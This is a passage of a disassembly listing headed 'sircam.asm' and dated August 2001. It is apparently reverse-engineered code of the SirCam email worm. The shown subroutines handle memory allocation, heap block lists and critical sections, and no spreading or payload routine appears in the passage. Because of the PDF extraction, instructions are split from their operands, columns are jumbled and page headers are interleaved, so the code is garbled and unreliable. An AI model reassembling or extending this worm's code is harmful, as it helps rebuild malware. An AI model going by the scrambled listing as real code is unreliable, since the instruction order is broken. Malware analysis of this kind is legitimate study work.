loc_401632:
loc_40163A:
sub_4015B0
; CODE XREF: sub_4015B0+7E\030j
add
pop
pop
pop
pop
retn
endp
esp, 0Ch
ebp
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sircam.asm
Fri Aug 10 12:42:44 2001
12
sub_401644
proc near
; CODE XREF: sub_401878+2E\031p
push
ebx
push
esi
push
edi
push
ebp
push
ecx
mov
ebx, eax
mov
esi, ebx
add
esi, 0FFFh
and
esi, 0FFFFF000h
mov
[esp+0], esi
mov
ebp, ebx
add
ebp, edx
and
ebp, 0FFFFF000h
mov
eax, [esp+0]
mov
[ecx], eax
mov
eax, ebp
sub
eax, [esp+0]
mov
[ecx+4], eax
mov
esi, ds:dword_41E450
jmp
short loc_4016B3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40167B:
; CODE XREF: sub_401644+75\031j
mov
mov
add
cmp
jnb
mov
ebx, [esi+8]
edi, [esi+0Ch]
edi, ebx
ebx, [esp+0]
short loc_40168B
ebx, [esp+0]
cmp
jnb
mov
ebp, edi
short loc_401691
edi, ebp
cmp
jbe
push
sub
push
push
call
test
jnz
mov
; CODE XREF: sub_401644+49\030j
edi, ebx
short loc_4016B1
4000h
edi, ebx
edi
ebx
j_VirtualFree
eax, eax
short loc_4016B1
ds:dword_41E42C, 2
loc_40168B:
; CODE XREF: sub_401644+42\030j
loc_401691:
loc_4016B1:
; CODE XREF: sub_401644+4F\030j
; sub_401644+61\030j
mov
loc_4016B3:
sub_401644
cmp
jnz
pop
pop
pop
pop
pop
retn
endp
esi, [esi]
; CODE XREF: sub_401644+35\030j
esi, offset dword_41E450
short loc_40167B
edx
ebp
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4016C4
proc near
; CODE XREF: sub_401E58+B\031p
sircam.asm
var_8
Fri Aug 10 12:42:44 2001
13
= dword ptr -8
push
push
push
push
add
mov
mov
mov
add
and
ebx
esi
edi
ebp
esp,
esi,
edi,
ebp,
edi,
edi,
0FFFFFFF8h
edx
eax
offset unk_41E460
3FFFh
0FFFFC000h
loc_4016E0:
; CODE XREF: sub_4016C4+75\031j
mov
ebx, [ebp+0]
jmp
short loc_401718
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4016E5:
; CODE XREF: sub_4016C4+56\031j
cmp
edi, [ebx+0Ch]
jg
short loc_401716
mov
ecx, esi
mov
edx, edi
mov
eax, [ebx+8]
call
sub_4015B0
cmp
dword ptr [esi], 0
jz
short loc_40174B
mov
eax, [esi+4]
add
[ebx+8], eax
mov
eax, [esi+4]
sub
[ebx+0Ch], eax
cmp
dword ptr [ebx+0Ch], 0
jnz
short loc_40174B
mov
eax, ebx
call
sub_401300
jmp
short loc_40174B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401716:
; CODE XREF: sub_4016C4+24\030j
mov
ebx, [ebx]
cmp
jnz
mov
mov
call
cmp
jz
mov
mov
mov
call
cmp
jnz
mov
mov
mov
call
xor
mov
; CODE XREF: sub_4016C4+1F\030j
ebx, ebp
short loc_4016E5
edx, esi
eax, edi
sub_40141C
dword ptr [esi], 0
short loc_40174B
ecx, esp
edx, esi
eax, ebp
sub_401318
[esp+8+var_8], 0
short loc_4016E0
ecx, esp
edx, [esi+4]
eax, [esi]
sub_4014F8
eax, eax
[esi], eax
loc_401718:
loc_40174B:
; CODE XREF: sub_4016C4+35\030j
; sub_4016C4+47\030j ...
pop
pop
pop
pop
pop
ecx
edx
ebp
edi
esi
sircam.asm
sub_4016C4
Fri Aug 10 12:42:44 2001
pop
retn
endp
14
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_401754
proc near
var_14
var_10
var_C
var_8
=
=
=
=
dword
dword
dword
dword
push
push
push
push
add
mov
mov
mov
mov
add
and
ptr
ptr
ptr
ptr
; CODE XREF: sub_401E84+10\031p
-14h
-10h
-0Ch
-8
ebx
esi
edi
ebp
esp, 0FFFFFFECh
[esp+14h+var_14], ecx
edi, edx
esi, eax
ebp, offset unk_41E460
edi, 3FFFh
edi, 0FFFFC000h
loc_401773:
; CODE XREF: sub_401754+6C\031j
; sub_401754+B3\031j
mov
ebx, [ebp+0]
jmp
short loc_40177A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401778:
; CODE XREF: sub_401754+2D\031j
mov
ebx, [ebx]
cmp
jz
cmp
jnz
ebx, ebp
short loc_401783
esi, [ebx+8]
short loc_401778
cmp
jnz
cmp
jle
lea
mov
sub
mov
add
call
cmp
jz
lea
lea
mov
call
cmp
jnz
lea
mov
mov
call
mov
xor
mov
; CODE XREF: sub_401754+28\030j
esi, [ebx+8]
short loc_4017DF
edi, [ebx+0Ch]
loc_401827
ecx, [esp+14h+var_10]
edx, edi
edx, [ebx+0Ch]
eax, [ebx+8]
eax, [ebx+0Ch]
sub_401480
[esp+14h+var_10], 0
short loc_4017DF
ecx, [esp+14h+var_8]
edx, [esp+14h+var_10]
eax, ebp
sub_401318
[esp+14h+var_8], 0
short loc_401773
ecx, [esp+14h+var_8]
edx, [esp+14h+var_C]
eax, [esp+14h+var_10]
sub_4014F8
eax, [esp+14h+var_14]
edx, edx
[eax], edx
loc_40177A:
; CODE XREF: sub_401754+22\030j
loc_401783:
sircam.asm
Fri Aug 10 12:42:44 2001
15
jmp
loc_40186F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4017DF:
; CODE XREF: sub_401754+32\030j
; sub_401754+56\030j
lea
ecx, [esp+14h+var_10]
mov
edx, edi
mov
eax, esi
call
sub_401480
cmp
[esp+14h+var_10], 0
jz
short loc_401827
lea
ecx, [esp+14h+var_8]
lea
edx, [esp+14h+var_10]
mov
eax, ebp
call
sub_401318
cmp
[esp+14h+var_8], 0
jnz
loc_401773
lea
ecx, [esp+14h+var_8]
mov
edx, [esp+14h+var_C]
mov
eax, [esp+14h+var_10]
call
sub_4014F8
mov
eax, [esp+14h+var_14]
xor
edx, edx
mov
[eax], edx
jmp
short loc_40186F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401827:
; CODE XREF: sub_401754+37\030j
; sub_401754+9D\030j
mov
ebp, [ebx+8]
cmp
esi, ebp
jnz
short loc_401868
cmp
edi, [ebx+0Ch]
jg
short loc_401868
mov
ecx, [esp+14h+var_14]
mov
edx, edi
mov
eax, ebp
call
sub_4015B0
mov
eax, [esp+14h+var_14]
cmp
dword ptr [eax], 0
jz
short loc_40186F
mov
eax, [esp+14h+var_14]
mov
eax, [eax+4]
add
[ebx+8], eax
mov
eax, [esp+14h+var_14]
mov
eax, [eax+4]
sub
[ebx+0Ch], eax
cmp
dword ptr [ebx+0Ch], 0
jnz
short loc_40186F
mov
eax, ebx
call
sub_401300
jmp
short loc_40186F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401868:
mov
xor
mov
; CODE XREF: sub_401754+D8\030j
; sub_401754+DD\030j
eax, [esp+14h+var_14]
edx, edx
[eax], edx
loc_40186F:
sub_401754
; CODE XREF: sub_401754+86\030j
; sub_401754+D1\030j ...
add
pop
pop
pop
pop
retn
endp
esp, 14h
ebp
edi
esi
ebx
sircam.asm
Fri Aug 10 12:42:44 2001
16
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_401878
proc near
var_14
var_10
var_C
var_8
var_4
=
=
=
=
=
dword
dword
dword
dword
dword
push
push
push
add
mov
mov
lea
and
mov
add
and
cmp
jnb
mov
mov
sub
mov
call
lea
mov
mov
call
mov
test
jz
lea
mov
mov
call
mov
mov
mov
mov
ptr
ptr
ptr
ptr
ptr
; CODE XREF: sub_401C60+40\031p
; sub_401C60+51\031p
-14h
-10h
-0Ch
-8
-4
ebx
esi
edi
esp, 0FFFFFFECh
edi, ecx
[esp+14h+var_14], edx
ebx, [eax+3FFFh]
ebx, 0FFFFC000h
esi, [esp+14h+var_14]
esi, eax
esi, 0FFFFC000h
ebx, esi
short loc_4018F9
ecx, edi
edx, esi
edx, ebx
eax, ebx
sub_401644
ecx, [esp+14h+var_10]
edx, edi
eax, offset unk_41E460
sub_401318
ebx, [esp+14h+var_10]
ebx, ebx
short loc_4018E2
ecx, [esp+14h+var_8]
edx, [esp+14h+var_C]
eax, ebx
sub_4014F8
eax, [esp+14h+var_8]
[esp+14h+var_10], eax
eax, [esp+14h+var_4]
[esp+14h+var_C], eax
loc_4018E2:
; CODE XREF: sub_401878+49\030j
cmp
[esp+14h+var_10], 0
jz
short loc_4018FD
lea
edx, [esp+14h+var_10]
mov
eax, offset unk_41E460
call
sub_40138C
jmp
short loc_4018FD
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4018F9:
; CODE XREF: sub_401878+24\030j
xor
mov
eax, eax
[edi], eax
loc_4018FD:
sub_401878
; CODE XREF: sub_401878+6F\030j
; sub_401878+7F\030j
add
pop
pop
pop
retn
endp
esp, 14h
edi
esi
ebx
sircam.asm
Fri Aug 10 12:42:44 2001
17
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_401904
proc near
push
mov
xor
push
push
push
mov
push
call
cmp
jz
push
call
ebp
ebp, esp
edx, edx
ebp
offset loc_4019BA
dword ptr fs:[edx]
fs:[edx], esp
offset unk_41E430
j_InitializeCriticalSection
ds:byte_41E041, 0
short loc_401932
offset unk_41E430
j_EnterCriticalSection
mov
call
mov
call
mov
call
push
push
call
mov
cmp
jz
mov
; CODE XREF: sub_401904+22\030j
eax, offset dword_41E450
sub_4012C8
eax, offset unk_41E460
sub_4012C8
eax, offset dword_41E48C
sub_4012C8
0FF8h
0
j_LocalAlloc
ds:dword_41E488, eax
ds:dword_41E488, 0
short loc_401999
eax, 3
mov
xor
mov
inc
cmp
jnz
mov
mov
mov
mov
mov
; CODE XREF: sub_401904+7D\031j
edx, ds:dword_41E488
ecx, ecx
[edx+eax*4-0Ch], ecx
eax
eax, 401h
short loc_40196F
eax, offset unk_41E470
[eax+4], eax
[eax], eax
ds:dword_41E47C, eax
ds:byte_41E428, 1
xor
pop
pop
pop
mov
push
; CODE XREF: sub_401904+64\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4019C1
cmp
jz
push
call
; CODE XREF: CODE:004019BF\031j
ds:byte_41E041, 0
short locret_4019B9
offset unk_41E430
j_LeaveCriticalSection
loc_401932:
loc_40196F:
loc_401999:
loc_4019A6:
locret_4019B9:
sub_401904
; CODE XREF: sub_401FD8+14\031p
; sub_402160+19\031p ...
; CODE XREF: sub_401904+A9\030j
retn
endp ; sp = -8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
18
loc_4019BA:
; DATA XREF: sub_401904+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4019A6
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4019C1:
mov
pop
retn
; DATA XREF: sub_401904+9D\030o
al, ds:byte_41E428
ebp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4019C8
proc near
; CODE XREF: sub_405818+2D\031p
push
ebp
mov
ebp, esp
push
ebx
cmp
ds:byte_41E428, 0
jz
loc_401AA5
xor
edx, edx
push
ebp
push
offset loc_401A9E
push
dword ptr fs:[edx]
mov
fs:[edx], esp
cmp
ds:byte_41E041, 0
jz
short loc_4019FA
push
offset unk_41E430
call
j_EnterCriticalSection
loc_4019FA:
; CODE XREF: sub_4019C8+26\030j
mov
ds:byte_41E428, 0
mov
eax, ds:dword_41E488
push
eax
call
j_LocalFree
xor
eax, eax
mov
ds:dword_41E488, eax
mov
ebx, ds:dword_41E450
jmp
short loc_401A2D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401A1B:
; CODE XREF: sub_4019C8+6B\031j
push
push
mov
push
call
mov
8000h
0
eax, [ebx+8]
eax
j_VirtualFree
ebx, [ebx]
cmp
jnz
mov
call
mov
call
mov
call
mov
test
jz
; CODE XREF: sub_4019C8+51\030j
ebx, offset dword_41E450
short loc_401A1B
eax, offset dword_41E450
sub_4012C8
eax, offset unk_41E460
sub_4012C8
eax, offset dword_41E48C
sub_4012C8
eax, ds:dword_41E448
eax, eax
short loc_401A73
mov
mov
push
call
mov
test
; CODE XREF: sub_4019C8+A9\031j
edx, [eax]
ds:dword_41E448, edx
eax
j_LocalFree
eax, ds:dword_41E448
eax, eax
loc_401A2D:
loc_401A5C:
sircam.asm
Fri Aug 10 12:42:44 2001
19
jnz
short loc_401A5C
xor
pop
pop
pop
mov
push
; CODE XREF: sub_4019C8+92\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_401AA5
cmp
jz
push
call
; CODE XREF: sub_4019C8+DB\031j
ds:byte_41E041, 0
short loc_401A93
offset unk_41E430
j_LeaveCriticalSection
loc_401A73:
loc_401A80:
loc_401A93:
; CODE XREF: sub_4019C8+BF\030j
push
offset unk_41E430
call
j_DeleteCriticalSection
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401A9E:
; DATA XREF: sub_4019C8+14\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_401A80
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401AA5:
sub_4019C8
; CODE XREF: sub_4019C8+B\030j
; DATA XREF: sub_4019C8+B3\030o
pop
pop
retn
endp
ebx
ebp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_401AA8
proc near
; CODE XREF: sub_401BB8+61\031p
; sub_401C28+23\031p ...
push
cmp
jnz
mov
mov
ebx
eax, ds:dword_41E47C
short loc_401ABA
edx, [eax+4]
ds:dword_41E47C, edx
mov
mov
cmp
jg
cmp
jnz
test
jns
add
edx, [eax+4]
ecx, [eax+8]
ecx, 1000h
short loc_401B00
eax, edx
short loc_401AE3
ecx, ecx
short loc_401AD3
ecx, 3
loc_401ABA:
; CODE XREF: sub_401AA8+7\030j
loc_401AD3:
; CODE XREF: sub_401AA8+26\030j
sar
ecx, 2
mov
eax, ds:dword_41E488
xor
edx, edx
mov
[eax+ecx*4-0Ch], edx
jmp
short loc_401B07
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401AE3:
; CODE XREF: sub_401AA8+22\030j
test
jns
add
ecx, ecx
short loc_401AEA
ecx, 3
sircam.asm
Fri Aug 10 12:42:44 2001
20
loc_401AEA:
; CODE XREF: sub_401AA8+3D\030j
sar
ecx, 2
mov
ebx, ds:dword_41E488
mov
[ebx+ecx*4-0Ch], edx
mov
eax, [eax]
mov
[edx], eax
mov
[eax+4], edx
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401B00:
; CODE XREF: sub_401AA8+1E\030j
mov
mov
mov
eax, [eax]
[edx], eax
[eax+4], edx
pop
retn
endp
ebx
loc_401B07:
sub_401AA8
; CODE XREF: sub_401AA8+39\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_401B0C
proc near
; CODE XREF: sub_401C60+D\031p
mov
edx, ds:dword_41E48C
jmp
short loc_401B24
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401B14:
; CODE XREF: sub_401B0C+1E\031j
mov
cmp
jb
add
cmp
jb
ecx, [edx+8]
eax, ecx
short loc_401B22
ecx, [edx+0Ch]
eax, ecx
short loc_401B38
mov
edx, [edx]
cmp
jnz
mov
xor
; CODE XREF: sub_401B0C+6\030j
edx, offset dword_41E48C
short loc_401B14
ds:dword_41E42C, 3
edx, edx
loc_401B22:
; CODE XREF: sub_401B0C+D\030j
loc_401B24:
loc_401B38:
sub_401B0C
; CODE XREF: sub_401B0C+14\030j
mov
retn
endp
eax, edx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_401B3C
proc near
push
mov
sub
lea
cmp
jl
mov
; CODE XREF: sub_401C60+67\031p
; sub_401DCC+68\031p
ebx
ecx, edx
ecx, 4
ebx, [ecx+eax]
edx, 10h
short loc_401B59
dword ptr [ebx], 80000007h
sircam.asm
Fri Aug 10 12:42:44 2001
21
mov
edx, ecx
call
sub_401CF8
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401B59:
; CODE XREF: sub_401B3C+C\030j
cmp
jl
mov
or
mov
mov
edx, 4
short loc_401B6A
ecx, edx
ecx, 80000002h
[eax], ecx
[ebx], ecx
pop
retn
endp
ebx
loc_401B6A:
sub_401B3C
; CODE XREF: sub_401B3C+20\030j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_401B6C
proc near
sub_401B6C
inc
mov
sub
mov
and
sub
add
call
retn
endp
; CODE XREF: sub_401B90+D\031p
; sub_401D80+36\031p ...
ds:dword_41E41C
edx, eax
edx, 4
edx, [edx]
edx, 7FFFFFFCh
edx, 4
ds:dword_41E420, edx
sub_402160
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_401B90
proc near
; CODE XREF: sub_401C60+81\031p
cmp
edx, 0Ch
jl
short loc_401BA3
or
edx, 2
mov
[eax], edx
add
eax, 4
call
sub_401B6C
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401BA3:
; CODE XREF: sub_401B90+3\030j
cmp
jl
mov
or
mov
loc_401BB2:
sub_401B90
add
and
retn
endp
edx, 4
short loc_401BB2
ecx, edx
ecx, 80000002h
[eax], ecx
; CODE XREF: sub_401B90+16\030j
eax, edx
dword ptr [eax], 0FFFFFFFEh
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_401BB8
proc near
; CODE XREF: sub_401DCC+36\031p
sircam.asm
Fri Aug 10 12:42:44 2001
push
push
mov
sub
mov
mov
and
cmp
jz
mov
ebx
esi
edx, eax
edx, 4
edx, [edx]
ecx, edx
ecx, 80000002h
ecx, 80000002h
short loc_401BDB
ds:dword_41E42C, 4
mov
and
sub
mov
xor
test
jz
mov
; CODE XREF: sub_401BB8+17\030j
ebx, edx
ebx, 7FFFFFFCh
eax, ebx
ecx, eax
edx, [ecx]
edx, 0FFFFFFFEh
short loc_401BFB
ds:dword_41E42C, 5
test
jz
mov
sub
mov
sub
cmp
jz
mov
; CODE XREF: sub_401BB8+37\030j
byte ptr [ecx], 1
short loc_401C20
edx, eax
edx, 0Ch
esi, [edx+8]
eax, esi
esi, [eax+8]
short loc_401C19
ds:dword_41E42C, 6
call
add
sub_401AA8
ebx, esi
mov
pop
pop
retn
endp
eax, ebx
esi
ebx
loc_401BDB:
loc_401BFB:
loc_401C19:
; CODE XREF: sub_401BB8+55\030j
loc_401C20:
sub_401BB8
22
; CODE XREF: sub_401BB8+46\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_401C28
proc near
; CODE XREF: sub_401DCC+4F\031p
push
ebx
push
esi
push
edi
mov
ebx, eax
xor
edi, edi
mov
eax, [ebx]
test
eax, 80000000h
jz
short loc_401C43
and
eax, 7FFFFFFCh
add
edi, eax
add
ebx, eax
mov
eax, [ebx]
loc_401C43:
; CODE XREF: sub_401C28+E\030j
test
jnz
mov
mov
call
mov
al, 2
short loc_401C5A
esi, ebx
eax, esi
sub_401AA8
eax, [esi+8]
sircam.asm
Fri Aug 10 12:42:44 2001
add
add
and
edi, eax
ebx, eax
dword ptr [ebx], 0FFFFFFFEh
mov
pop
pop
pop
retn
endp
eax, edi
edi
esi
ebx
loc_401C5A:
sub_401C28
23
; CODE XREF: sub_401C28+1D\030j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_401C60
proc near
var_8
var_4
= dword ptr -8
= dword ptr -4
push
push
push
push
add
mov
mov
mov
call
mov
mov
mov
add
mov
